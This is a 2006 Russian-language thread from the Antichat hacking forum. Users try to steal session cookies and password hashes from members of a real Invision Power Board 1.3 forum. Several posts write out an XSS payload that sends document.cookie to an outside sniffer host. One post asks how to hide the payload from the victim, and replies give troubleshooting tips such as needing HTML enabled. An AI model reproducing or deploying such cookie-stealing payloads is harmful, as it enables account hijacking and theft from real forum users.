ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Форумы
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Ipb 1.3 Final vs Сниффер
  #1  
Старый 28.04.2006, 18:12
Аватар для BlackSpider
BlackSpider
Новичок
Регистрация: 28.04.2006
Сообщений: 1
Провел на форуме:
3961

Репутация: 0
Question Ipb 1.3 Final vs Сниффер

Почему-то не срабатывает сниффер http://www.antichat.ru/sniff/. Я его натравливал на форум http://www.ссылки запрещены.ru/forum/index.php где-то месяц назад - он показывал номера юзеров и их хэши. Сегодня я такое повторил - он ничего не выдает: пишет, что был запрос и все! Если кто знает - поясните пожалуйста в чем здесь проблема или хотя бы ссылку! Я искал по форуму, но не нашел ответа! Вот ссылка на сниффер http://www.antichat.ru/sniff/log.php. Администраторам: перенесите, пожалуйста, мое сообщение в соответствующий раздел!

Последний раз редактировалось Azazel; 11.05.2006 в 16:40..
 
Ответить с цитированием

  #2  
Старый 11.05.2006, 14:21
Аватар для SiltStride
SiltStride
Новичок
Регистрация: 09.05.2006
Сообщений: 20
Провел на форуме:
30961

Репутация: 0
По умолчанию

Аналогично, форум Invision Power Board(U) v1.3.1 Final. Я посылаю примерное сообщение:

Привет чувак <script>img = new Image(); img.src = "http://antichat.org/s/.gif
"+document.cookie;</script>
Я его посылаю себе для пробы, мне приходит эта ссылка! Какой в этом смысл? ничего не приходит мне на снифф! что я не так делаю? заранее благодарен.
Может надо в код вставить? но там опять светится это сообщение.

Последний раз редактировалось SiltStride; 11.05.2006 в 14:25..
 
Ответить с цитированием

  #3  
Старый 11.05.2006, 15:44
Аватар для Darth_antony
Darth_antony
Новичок
Регистрация: 30.03.2006
Сообщений: 11
Провел на форуме:
67340

Репутация: 0
По умолчанию

2BlackSpider я так понимаю что бага работает только под ие...
2SiltStride возможно этото xss работает только в теле вообщения форума. что бы провритьь при создании ответа ткни "предварительный просмотр"
 
Ответить с цитированием

  #4  
Старый 11.05.2006, 16:52
Аватар для SiltStride
SiltStride
Новичок
Регистрация: 09.05.2006
Сообщений: 20
Провел на форуме:
30961

Репутация: 0
По умолчанию

Цитата:
Сообщение от Darth_antony  
SiltStride возможно этото xss работает только в теле вообщения форума. что бы провритьь при создании ответа ткни "предварительный просмотр"
Получается, надо не в личку писать? а само сообщение правильное, не надо добавить что-нибудь, типа кода? например:
Код:
это сообщение надо писать в коде
так не надо? просто писать?

Кстати, куда в этом коде картинку вставлять? после каких слов?
Вот он:
<script>img = new Image(); img.src = "http://antichat.org/s/.gif
"+document.cookie;</script>
и еще,как сделать, чтобы пользователь не пропалил этот прикол, в ответе чтобы этого не было?

Последний раз редактировалось SiltStride; 11.05.2006 в 16:55..
 
Ответить с цитированием

  #5  
Старый 11.05.2006, 17:04
Аватар для Azazel
Azazel
Заведующий всем
Регистрация: 17.04.2005
Сообщений: 1,062
Провел на форуме:
5957900

Репутация: 561


По умолчанию

--> и еще,как сделать, чтобы пользователь не пропалил этот прикол, в ответе чтобы этого не было?

Учить javascript, юзать поиск по форуму и гугл http://www.google.ru/search?hl=ru&q=...gle&lr=lang_ru, читать статьи на античате http://antichat.ru/crackchat/HTML

Ознакомиться с этой темой http://forum.antichat.ru/thread15678.html и со многими другими.
__________________
Full DNS report
 
Ответить с цитированием

  #6  
Старый 11.05.2006, 17:45
Аватар для podkashey
podkashey
Познавший АНТИЧАТ
Регистрация: 18.06.2005
Сообщений: 1,004
Провел на форуме:
2821162

Репутация: 1320


По умолчанию

Че-то как-то все так отмодерировали, что я ничего не понял... какая проблемма?
Вот это <scrip*t>img = ne*w Image(); im*g.src = "http://antichat.org/s/.gif
"+document.c*ookie;</s*cript>
сработает только, если включен хтмл.
 
Ответить с цитированием

  #7  
Старый 11.05.2006, 18:32
Аватар для degeneration x
degeneration x
Познающий
Регистрация: 11.10.2005
Сообщений: 97
Провел на форуме:
732018

Репутация: 117
По умолчанию

хз где вы это пытаетесь сделать, а на ruhelp'е не получается. Там авторизацию по сессиям ввели.
 
Ответить с цитированием

  #8  
Старый 11.05.2006, 20:46
Аватар для SiltStride
SiltStride
Новичок
Регистрация: 09.05.2006
Сообщений: 20
Провел на форуме:
30961

Репутация: 0
По умолчанию

на http://www.ссылки запрещены.ru! помогите кто нитбудь! как ссылку сделать? пишу, а он доходит так, как я отправляю! А что значит Хтмл отключен?как его включить? Я все перепробовал, ничего не помогает! дайте пожалуйста по этому поводу совет.

Последний раз редактировалось Azazel; 11.05.2006 в 20:53..
 
Ответить с цитированием

  #9  
Старый 11.05.2006, 21:25
Аватар для podkashey
podkashey
Познавший АНТИЧАТ
Регистрация: 18.06.2005
Сообщений: 1,004
Провел на форуме:
2821162

Репутация: 1320


По умолчанию

Цитата:
на http://www.ссылки запрещены.ru! помогите кто нитбудь! как ссылку сделать? пишу, а он доходит так, как я отправляю! А что значит Хтмл отключен?как его включить? Я все перепробовал, ничего не помогает! дайте пожалуйста по этому поводу совет.
Раз ты такое пишешь, то совет тебе - прочитать все на античате или хотя бы важные темы (они написаны так Важно: и прикрепелены наверху раздела.
 
Ответить с цитированием

  #10  
Старый 13.05.2006, 18:14
Аватар для SiltStride
SiltStride
Новичок
Регистрация: 09.05.2006
Сообщений: 20
Провел на форуме:
30961

Репутация: 0
По умолчанию

Так а с чего начать хотя бы?подскажите,пожалуйста, а то на сайте много статей и все вытекают одна из другой! с чего начать? заранее благодарен
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Итересное явление в IPB v1.3 Final. White Jordan Форумы 8 19.02.2009 00:57
Как можно просмотреть ник через id в IPB 1.3 final? Debra Форумы 19 08.03.2007 21:51
IPB v1.3 Final Вопрос postal_dude Форумы 2 03.04.2006 20:49
IPB 1.3 final Ragnar Форумы 4 24.03.2006 10:51



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ